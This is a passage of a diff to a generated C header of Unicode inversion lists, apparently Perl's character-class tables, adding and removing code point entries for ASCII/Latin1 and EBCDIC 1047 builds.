+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x206A,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x302E,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_JT__T_invlist[] = { /* for EBCDIC 1047 */
+	627,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0xCA,
 	0xCB,
-	0xFF,
-	0x100,
 	0x300,
 	0x370,
 	0x483,
@@ -65474,8 +267528,6 @@
 	0x5C6,
 	0x5C7,
 	0x5C8,
-	0x600,
-	0x606,
 	0x610,
 	0x61B,
 	0x61C,
@@ -65486,7 +267538,6 @@
 	0x671,
 	0x6D6,
 	0x6DD,
-	0x6DE,
 	0x6DF,
 	0x6E5,
 	0x6E7,
@@ -65517,17 +267568,14 @@
 	0x8E2,
 	0x8E3,
 	0x903,
-	0x904,
 	0x93A,
 	0x93B,
 	0x93C,
 	0x93D,
-	0x93E,
 	0x941,
 	0x949,
 	0x94D,
 	0x94E,
-	0x950,
 	0x951,
 	0x958,
 	0x962,
@@ -65534,28 +267582,18 @@
 	0x964,
 	0x981,
 	0x982,
-	0x984,
 	0x9BC,
 	0x9BD,
-	0x9BE,
-	0x9BF,
 	0x9C1,
 	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
 	0x9CD,
 	0x9CE,
-	0x9D7,
-	0x9D8,
 	0x9E2,
 	0x9E4,
 	0xA01,
 	0xA03,
-	0xA04,
 	0xA3C,
 	0xA3D,
-	0xA3E,
 	0xA41,
 	0xA43,
 	0xA47,
@@ -65570,58 +267608,42 @@
 	0xA76,
 	0xA81,
 	0xA83,
-	0xA84,
 	0xABC,
 	0xABD,
-	0xABE,
 	0xAC1,
 	0xAC6,
 	0xAC7,
 	0xAC9,
-	0xACA,
-	0xACB,
 	0xACD,
 	0xACE,
 	0xAE2,
 	0xAE4,
+	0xAFA,
+	0xB00,
 	0xB01,
 	0xB02,
-	0xB04,
 	0xB3C,
 	0xB3D,
-	0xB3E,
+	0xB3F,
 	0xB40,
 	0xB41,
 	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
 	0xB4D,
 	0xB4E,
 	0xB56,
-	0xB58,
+	0xB57,
 	0xB62,
 	0xB64,
 	0xB82,
 	0xB83,
-	0xBBE,
-	0xBBF,
 	0xBC0,
 	0xBC1,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
 	0xBCD,
 	0xBCE,
-	0xBD7,
-	0xBD8,
 	0xC00,
 	0xC01,
-	0xC04,
 	0xC3E,
 	0xC41,
-	0xC45,
 	0xC46,
 	0xC49,
 	0xC4A,
@@ -65632,60 +267654,34 @@
 	0xC64,
 	0xC81,
 	0xC82,
-	0xC84,
 	0xCBC,
 	0xCBD,
-	0xCBE,
 	0xCBF,
 	0xCC0,
-	0xCC2,
-	0xCC3,
-	0xCC5,
 	0xCC6,
 	0xCC7,
-	0xCC9,
-	0xCCA,
 	0xCCC,
 	0xCCE,
-	0xCD5,
-	0xCD7,
 	0xCE2,
 	0xCE4,
-	0xD01,
+	0xD00,
 	0xD02,
-	0xD04,
-	0xD3E,
-	0xD3F,
+	0xD3B,
+	0xD3D,
 	0xD41,
 	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
 	0xD4D,
 	0xD4E,
-	0xD4F,
-	0xD57,
-	0xD58,
 	0xD62,
 	0xD64,
-	0xD82,
-	0xD84,
 	0xDCA,
 	0xDCB,
-	0xDCF,
-	0xDD0,
 	0xDD2,
 	0xDD5,
 	0xDD6,
 	0xDD7,
-	0xDD8,
-	0xDDF,
-	0xDE0,
-	0xDF2,
-	0xDF4,
 	0xE31,
 	0xE32,
-	0xE33,
 	0xE34,
 	0xE3B,
 	0xE47,
@@ -65692,7 +267688,6 @@
 	0xE4F,
 	0xEB1,
 	0xEB2,
-	0xEB3,
 	0xEB4,
 	0xEBA,
 	0xEBB,
@@ -65707,8 +267702,6 @@
 	0xF38,
 	0xF39,
 	0xF3A,
-	0xF3E,
-	0xF40,
 	0xF71,
 	0xF7F,
 	0xF80,
@@ -65729,7 +267722,6 @@
 	0x103B,
 	0x103D,
 	0x103F,
-	0x1056,
 	0x1058,
 	0x105A,
 	0x105E,
@@ -65738,7 +267730,6 @@
 	0x1075,
 	0x1082,
 	0x1083,
-	0x1084,
 	0x1085,
 	0x1087,
 	0x108D,
@@ -65745,10 +267736,6 @@
 	0x108E,
 	0x109D,
 	0x109E,
-	0x1100,
-	0x1160,
-	0x11A8,
-	0x1200,
 	0x135D,
 	0x1360,
 	0x1712,
@@ -65771,7 +267758,6 @@
 	0x17DE,
 	0x180B,
 	0x180E,
-	0x180F,
 	0x1885,
 	0x1887,
 	0x18A9,
@@ -65780,8 +267766,6 @@
 	0x1923,
 	0x1927,
 	0x1929,
-	0x192C,
-	0x1930,
 	0x1932,
 	0x1933,
 	0x1939,
@@ -65790,7 +267774,6 @@
 	0x1A19,
 	0x1A1B,
 	0x1A1C,
-	0x1A55,
 	0x1A56,
 	0x1A57,
 	0x1A58,
@@ -65809,7 +267792,6 @@
 	0x1ABF,
 	0x1B00,
 	0x1B04,
-	0x1B05,
 	0x1B34,
 	0x1B35,
 	0x1B36,
@@ -65818,13 +267800,10 @@
 	0x1B3D,
 	0x1B42,
 	0x1B43,
-	0x1B45,
 	0x1B6B,
 	0x1B74,
 	0x1B80,
 	0x1B82,
-	0x1B83,
-	0x1BA1,
 	0x1BA2,
 	0x1BA6,
 	0x1BA8,
@@ -65839,8 +267818,6 @@
 	0x1BEE,
 	0x1BEF,
 	0x1BF2,
-	0x1BF4,
-	0x1C24,
 	0x1C2C,
 	0x1C34,
 	0x1C36,
@@ -65853,34 +267830,26 @@
 	0x1CE9,
 	0x1CED,
 	0x1CEE,
-	0x1CF2,
 	0x1CF4,
 	0x1CF5,
 	0x1CF8,
 	0x1CFA,
 	0x1DC0,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1E00,
 	0x200B,
 	0x200C,
-	0x200D,
 	0x200E,
 	0x2010,
-	0x2028,
+	0x202A,
 	0x202F,
 	0x2060,
+	0x2065,
+	0x206A,
 	0x2070,
 	0x20D0,
 	0x20F1,
-	0x261D,
-	0x261E,
-	0x26F9,
-	0x26FA,
-	0x270A,
-	0x270E,
-	0x2764,
-	0x2765,
 	0x2CEF,
 	0x2CF2,
 	0x2D7F,
@@ -65888,7 +267857,7 @@
 	0x2DE0,
 	0x2E00,
 	0x302A,
-	0x3030,
+	0x302E,
 	0x3099,
 	0x309B,
 	0xA66F,
@@ -65905,13 +267874,8 @@
 	0xA807,
 	0xA80B,
 	0xA80C,
-	0xA823,
 	0xA825,
 	0xA827,
-	0xA828,
-	0xA880,
-	0xA882,
-	0xA8B4,
 	0xA8C4,
 	0xA8C6,
 	0xA8E0,
@@ -65920,12 +267884,8 @@
 	0xA92E,
 	0xA947,
 	0xA952,
-	0xA954,
-	0xA960,
-	0xA97D,
 	0xA980,
 	0xA983,
-	0xA984,
 	0xA9B3,
 	0xA9B4,
 	0xA9B6,
@@ -65932,7 +267892,6 @@
 	0xA9BA,
 	0xA9BC,
 	0xA9BD,
-	0xA9C1,
 	0xA9E5,
 	0xA9E6,
 	0xAA29,
@@ -65945,7 +267904,6 @@
 	0xAA44,
 	0xAA4C,
 	0xAA4D,
-	0xAA4E,
 	0xAA7C,
 	0xAA7D,
 	0xAAB0,
@@ -65958,827 +267916,16 @@
 	0xAAC0,
 	0xAAC1,
 	0xAAC2,
-	0xAAEB,
 	0xAAEC,
 	0xAAEE,
-	0xAAF0,
-	0xAAF5,
 	0xAAF6,
 	0xAAF7,
-	0xABE3,
 	0xABE5,
 	0xABE6,
 	0xABE8,
 	0xABE9,
-	0xABEB,
-	0xABEC,
 	0xABED,
 	0xABEE,
-	0xAC00,
-	0xAC01,
-	0xAC1C,
-	0xAC1D,
-	0xAC38,
-	0xAC39,
-	0xAC54,
-	0xAC55,
-	0xAC70,
-	0xAC71,
-	0xAC8C,
-	0xAC8D,
-	0xACA8,
-	0xACA9,
-	0xACC4,
-	0xACC5,
-	0xACE0,
-	0xACE1,
-	0xACFC,
-	0xACFD,
-	0xAD18,
-	0xAD19,
-	0xAD34,
-	0xAD35,
-	0xAD50,
-	0xAD51,
-	0xAD6C,
-	0xAD6D,
-	0xAD88,
-	0xAD89,
-	0xADA4,
-	0xADA5,
-	0xADC0,
-	0xADC1,
-	0xADDC,
-	0xADDD,
-	0xADF8,
-	0xADF9,
-	0xAE14,
-	0xAE15,
-	0xAE30,
-	0xAE31,
-	0xAE4C,
-	0xAE4D,
-	0xAE68,
-	0xAE69,
-	0xAE84,
-	0xAE85,
-	0xAEA0,
-	0xAEA1,
-	0xAEBC,
-	0xAEBD,
-	0xAED8,
-	0xAED9,
-	0xAEF4,
-	0xAEF5,
-	0xAF10,
-	0xAF11,
-	0xAF2C,
-	0xAF2D,
-	0xAF48,
-	0xAF49,
-	0xAF64,
-	0xAF65,
-	0xAF80,
-	0xAF81,
-	0xAF9C,
-	0xAF9D,
-	0xAFB8,
-	0xAFB9,
-	0xAFD4,
-	0xAFD5,
-	0xAFF0,
-	0xAFF1,
-	0xB00C,
-	0xB00D,
-	0xB028,
-	0xB029,
-	0xB044,
-	0xB045,
-	0xB060,
-	0xB061,
-	0xB07C,
-	0xB07D,
-	0xB098,
-	0xB099,
-	0xB0B4,
-	0xB0B5,
-	0xB0D0,
-	0xB0D1,
-	0xB0EC,
-	0xB0ED,
-	0xB108,
-	0xB109,
-	0xB124,
-	0xB125,
-	0xB140,
-	0xB141,
-	0xB15C,
-	0xB15D,
-	0xB178,
-	0xB179,
-	0xB194,
-	0xB195,
-	0xB1B0,
-	0xB1B1,
-	0xB1CC,
-	0xB1CD,
-	0xB1E8,
-	0xB1E9,
-	0xB204,
-	0xB205,
-	0xB220,
-	0xB221,
-	0xB23C,
-	0xB23D,
-	0xB258,
-	0xB259,
-	0xB274,
-	0xB275,
-	0xB290,
-	0xB291,
-	0xB2AC,
-	0xB2AD,
-	0xB2C8,
-	0xB2C9,
-	0xB2E4,
-	0xB2E5,
-	0xB300,
-	0xB301,
-	0xB31C,
-	0xB31D,
-	0xB338,
-	0xB339,
-	0xB354,
-	0xB355,
-	0xB370,
-	0xB371,
-	0xB38C,
-	0xB38D,
-	0xB3A8,
-	0xB3A9,
-	0xB3C4,
-	0xB3C5,
-	0xB3E0,
-	0xB3E1,
-	0xB3FC,
-	0xB3FD,
-	0xB418,
-	0xB419,
-	0xB434,
-	0xB435,
-	0xB450,
-	0xB451,
-	0xB46C,
-	0xB46D,
-	0xB488,
-	0xB489,
-	0xB4A4,
-	0xB4A5,
-	0xB4C0,
-	0xB4C1,
-	0xB4DC,
-	0xB4DD,
-	0xB4F8,
-	0xB4F9,
-	0xB514,
-	0xB515,
-	0xB530,
-	0xB531,
-	0xB54C,
-	0xB54D,
-	0xB568,
-	0xB569,
-	0xB584,
-	0xB585,
-	0xB5A0,
-	0xB5A1,
-	0xB5BC,
-	0xB5BD,
-	0xB5D8,
-	0xB5D9,
-	0xB5F4,
-	0xB5F5,
-	0xB610,
-	0xB611,
-	0xB62C,
-	0xB62D,
-	0xB648,
-	0xB649,
-	0xB664,
-	0xB665,
-	0xB680,
-	0xB681,
-	0xB69C,
-	0xB69D,
-	0xB6B8,
-	0xB6B9,
-	0xB6D4,
-	0xB6D5,
-	0xB6F0,
-	0xB6F1,
-	0xB70C,
-	0xB70D,
-	0xB728,
-	0xB729,
-	0xB744,
-	0xB745,
-	0xB760,
-	0xB761,
-	0xB77C,
-	0xB77D,
-	0xB798,
-	0xB799,
-	0xB7B4,
-	0xB7B5,
-	0xB7D0,
-	0xB7D1,
-	0xB7EC,
-	0xB7ED,
-	0xB808,
-	0xB809,
-	0xB824,
-	0xB825,
-	0xB840,
-	0xB841,
-	0xB85C,
-	0xB85D,
-	0xB878,
-	0xB879,
-	0xB894,
-	0xB895,
-	0xB8B0,
-	0xB8B1,
-	0xB8CC,
-	0xB8CD,
-	0xB8E8,
-	0xB8E9,
-	0xB904,
-	0xB905,
-	0xB920,
-	0xB921,
-	0xB93C,
-	0xB93D,
-	0xB958,
-	0xB959,
-	0xB974,
-	0xB975,
-	0xB990,
-	0xB991,
-	0xB9AC,
-	0xB9AD,
-	0xB9C8,
-	0xB9C9,
-	0xB9E4,
-	0xB9E5,
-	0xBA00,
-	0xBA01,
-	0xBA1C,
-	0xBA1D,
-	0xBA38,
-	0xBA39,
-	0xBA54,
-	0xBA55,
-	0xBA70,
-	0xBA71,
-	0xBA8C,
-	0xBA8D,
-	0xBAA8,
-	0xBAA9,
-	0xBAC4,
-	0xBAC5,
-	0xBAE0,
-	0xBAE1,
-	0xBAFC,
-	0xBAFD,
-	0xBB18,
-	0xBB19,
-	0xBB34,
-	0xBB35,
-	0xBB50,
-	0xBB51,
-	0xBB6C,
-	0xBB6D,
-	0xBB88,
-	0xBB89,
-	0xBBA4,
-	0xBBA5,
-	0xBBC0,
-	0xBBC1,
-	0xBBDC,
-	0xBBDD,
-	0xBBF8,
-	0xBBF9,
-	0xBC14,
-	0xBC15,
-	0xBC30,
-	0xBC31,
-	0xBC4C,
-	0xBC4D,
-	0xBC68,
-	0xBC69,
-	0xBC84,
-	0xBC85,
-	0xBCA0,
-	0xBCA1,
-	0xBCBC,
-	0xBCBD,
-	0xBCD8,
-	0xBCD9,
-	0xBCF4,
-	0xBCF5,
-	0xBD10,
-	0xBD11,
-	0xBD2C,
-	0xBD2D,
-	0xBD48,
-	0xBD49,
-	0xBD64,
-	0xBD65,
-	0xBD80,
-	0xBD81,
-	0xBD9C,
-	0xBD9D,
-	0xBDB8,
-	0xBDB9,
-	0xBDD4,
-	0xBDD5,
-	0xBDF0,
-	0xBDF1,
-	0xBE0C,
-	0xBE0D,
-	0xBE28,
-	0xBE29,
-	0xBE44,
-	0xBE45,
-	0xBE60,
-	0xBE61,
-	0xBE7C,
-	0xBE7D,
-	0xBE98,
-	0xBE99,
-	0xBEB4,
-	0xBEB5,
-	0xBED0,
-	0xBED1,
-	0xBEEC,
-	0xBEED,
-	0xBF08,
-	0xBF09,
-	0xBF24,
-	0xBF25,
-	0xBF40,
-	0xBF41,
-	0xBF5C,
-	0xBF5D,
-	0xBF78,
-	0xBF79,
-	0xBF94,
-	0xBF95,
-	0xBFB0,
-	0xBFB1,
-	0xBFCC,
-	0xBFCD,
-	0xBFE8,
-	0xBFE9,
-	0xC004,
-	0xC005,
-	0xC020,
-	0xC021,
-	0xC03C,
-	0xC03D,
-	0xC058,
-	0xC059,
-	0xC074,
-	0xC075,
-	0xC090,
-	0xC091,
-	0xC0AC,
-	0xC0AD,
-	0xC0C8,
-	0xC0C9,
-	0xC0E4,
-	0xC0E5,
-	0xC100,
-	0xC101,
-	0xC11C,
-	0xC11D,
-	0xC138,
-	0xC139,
-	0xC154,
-	0xC155,
-	0xC170,
-	0xC171,
-	0xC18C,
-	0xC18D,
-	0xC1A8,
-	0xC1A9,
-	0xC1C4,
-	0xC1C5,
-	0xC1E0,
-	0xC1E1,
-	0xC1FC,
-	0xC1FD,
-	0xC218,
-	0xC219,
-	0xC234,
-	0xC235,
-	0xC250,
-	0xC251,
-	0xC26C,
-	0xC26D,
-	0xC288,
-	0xC289,
-	0xC2A4,
-	0xC2A5,
-	0xC2C0,
-	0xC2C1,
-	0xC2DC,
-	0xC2DD,
-	0xC2F8,
-	0xC2F9,
-	0xC314,
-	0xC315,
-	0xC330,
-	0xC331,
-	0xC34C,
-	0xC34D,
-	0xC368,
-	0xC369,
-	0xC384,
-	0xC385,
-	0xC3A0,
-	0xC3A1,
-	0xC3BC,
-	0xC3BD,
-	0xC3D8,
-	0xC3D9,
-	0xC3F4,
-	0xC3F5,
-	0xC410,
-	0xC411,
-	0xC42C,
-	0xC42D,
-	0xC448,
-	0xC449,
-	0xC464,
-	0xC465,
-	0xC480,
-	0xC481,
-	0xC49C,
-	0xC49D,
-	0xC4B8,
-	0xC4B9,
-	0xC4D4,
-	0xC4D5,
-	0xC4F0,
-	0xC4F1,
-	0xC50C,
-	0xC50D,
-	0xC528,
-	0xC529,
-	0xC544,
-	0xC545,
-	0xC560,
-	0xC561,
-	0xC57C,
-	0xC57D,
-	0xC598,
-	0xC599,
-	0xC5B4,
-	0xC5B5,
-	0xC5D0,
-	0xC5D1,
-	0xC5EC,
-	0xC5ED,
-	0xC608,
-	0xC609,
-	0xC624,
-	0xC625,
-	0xC640,
-	0xC641,
-	0xC65C,
-	0xC65D,
-	0xC678,
-	0xC679,
-	0xC694,
-	0xC695,
-	0xC6B0,
-	0xC6B1,
-	0xC6CC,
-	0xC6CD,
-	0xC6E8,
-	0xC6E9,
-	0xC704,
-	0xC705,
-	0xC720,
-	0xC721,
-	0xC73C,
-	0xC73D,
-	0xC758,
-	0xC759,
-	0xC774,
-	0xC775,
-	0xC790,
-	0xC791,
-	0xC7AC,
-	0xC7AD,
-	0xC7C8,
-	0xC7C9,
-	0xC7E4,
-	0xC7E5,
-	0xC800,
-	0xC801,
-	0xC81C,
-	0xC81D,
-	0xC838,
-	0xC839,
-	0xC854,
-	0xC855,
-	0xC870,
-	0xC871,
-	0xC88C,
-	0xC88D,
-	0xC8A8,
-	0xC8A9,
-	0xC8C4,
-	0xC8C5,
-	0xC8E0,
-	0xC8E1,
-	0xC8FC,
-	0xC8FD,
-	0xC918,
-	0xC919,
-	0xC934,
-	0xC935,
-	0xC950,
-	0xC951,
-	0xC96C,
-	0xC96D,
-	0xC988,
-	0xC989,
-	0xC9A4,
-	0xC9A5,
-	0xC9C0,
-	0xC9C1,
-	0xC9DC,
-	0xC9DD,
-	0xC9F8,
-	0xC9F9,
-	0xCA14,
-	0xCA15,
-	0xCA30,
-	0xCA31,
-	0xCA4C,
-	0xCA4D,
-	0xCA68,
-	0xCA69,
-	0xCA84,
-	0xCA85,
-	0xCAA0,
-	0xCAA1,
-	0xCABC,
-	0xCABD,
-	0xCAD8,
-	0xCAD9,
-	0xCAF4,
-	0xCAF5,
-	0xCB10,
-	0xCB11,
-	0xCB2C,
-	0xCB2D,
-	0xCB48,
-	0xCB49,
-	0xCB64,
-	0xCB65,
-	0xCB80,
-	0xCB81,
-	0xCB9C,
-	0xCB9D,
-	0xCBB8,
-	0xCBB9,
-	0xCBD4,
-	0xCBD5,
-	0xCBF0,
-	0xCBF1,
-	0xCC0C,
-	0xCC0D,
-	0xCC28,
-	0xCC29,
-	0xCC44,
-	0xCC45,
-	0xCC60,
-	0xCC61,
-	0xCC7C,
-	0xCC7D,
-	0xCC98,
-	0xCC99,
-	0xCCB4,
-	0xCCB5,
-	0xCCD0,
-	0xCCD1,
-	0xCCEC,
-	0xCCED,
-	0xCD08,
-	0xCD09,
-	0xCD24,
-	0xCD25,
-	0xCD40,
-	0xCD41,
-	0xCD5C,
-	0xCD5D,
-	0xCD78,
-	0xCD79,
-	0xCD94,
-	0xCD95,
-	0xCDB0,
-	0xCDB1,
-	0xCDCC,
-	0xCDCD,
-	0xCDE8,
-	0xCDE9,
-	0xCE04,
-	0xCE05,
-	0xCE20,
-	0xCE21,
-	0xCE3C,
-	0xCE3D,
-	0xCE58,
-	0xCE59,
-	0xCE74,
-	0xCE75,
-	0xCE90,
-	0xCE91,
-	0xCEAC,
-	0xCEAD,
-	0xCEC8,
-	0xCEC9,
-	0xCEE4,
-	0xCEE5,
-	0xCF00,
-	0xCF01,
